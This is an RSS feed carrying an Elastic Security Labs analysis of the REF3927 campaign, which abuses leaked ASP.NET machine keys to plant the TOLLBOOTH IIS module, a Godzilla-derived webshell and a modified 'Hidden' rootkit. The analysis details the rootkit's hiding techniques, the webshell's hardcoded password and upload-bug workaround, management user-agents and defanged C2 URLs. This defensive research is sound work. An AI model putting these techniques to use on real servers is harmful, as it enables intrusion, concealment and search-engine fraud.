<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Seth Goodwin</title>
        <link>https://www.elastic.co/jp/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Mon, 13 Apr 2026 18:54:47 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Seth Goodwin</title>
            <url>https://www.elastic.co/jp/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/jp/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
            <link>https://www.elastic.co/jp/security-labs/tollbooth</link>
            <guid>tollbooth</guid>
            <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.</p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys</li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2>Campaign Overview</h2>
<h3>Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3>Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2>Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2>Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:</p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3>InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<table>
<thead>
<tr>
<th>Registry name</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Kbj_WinkbjFsDirs</code></td>
<td>A list of directory paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjFsFiles</code></td>
<td>A list of file paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegKeys</code></td>
<td>A list of registry keys to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegValues</code></td>
<td>A list of registry values to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_FangxingImages</code></td>
<td>A list of process images to whitelist</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_BaohuImages</code></td>
<td>A list of process images to protect</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjImages</code></td>
<td>A list of process images to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_Zhuangtai</code></td>
<td>A global kill switch that is set from userland</td>
<td>bool</td>
</tr>
<tr>
<td><code>Kbj_YinshenMode</code></td>
<td>This flag signals that the rootkit must conceal its artifacts.</td>
<td>bool</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3>InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4>LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4>LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3>InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
<h4>Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4>Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly.</p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong>
<ul>
<li>The rootkit will ignore the process and just let it run as expected.</li>
</ul>
</li>
<li><strong>Protected</strong>
<ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li>
</ul>
</li>
<li><strong>Hidden</strong>
<ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below.</li>
</ul>
</li>
</ul>
<h4>The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3>InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
<h4>FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4>FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3>InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3>InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<table>
<thead>
<tr>
<th>IOCTL command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>HID_IOCTL_SET_DRIVER_STATE</code></td>
<td>Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_DRIVER_STATE</code></td>
<td>Retrieve the current state of the rootkit (enabled/disabled).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_HIDDEN_OBJECT</code></td>
<td>Adds a new rule to hide a specific file, directory, registry key, or value.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code></td>
<td>Removes a single hiding rule by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code></td>
<td>Remove all hidden objects for a specific object type(registry keys/values, files, directories).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_OBJECT</code></td>
<td>Adds a new rule to automatically hide, protect, or exclude a process based on its image path.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_OBJECT_STATE</code></td>
<td>Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_SET_OBJECT_STATE</code></td>
<td>This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_OBJECT</code></td>
<td>Removes a single process rule (hide, protect, or exclude) by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_OBJECTS</code></td>
<td>This command clears all process states and image rules of a specific type.</td>
</tr>
</tbody>
</table>
<h3>InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3>Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2>RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image25.png" alt="gotohttp[.]com landing page" title="gotohttp[.]com landing page" /></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.</p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2>IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.</p>
<h3>Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3>Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH.</p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3>Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code class="language-text">Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3>SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.</p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list.</p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a &quot;local link&quot; pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving &quot;affiliate link resources&quot; from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
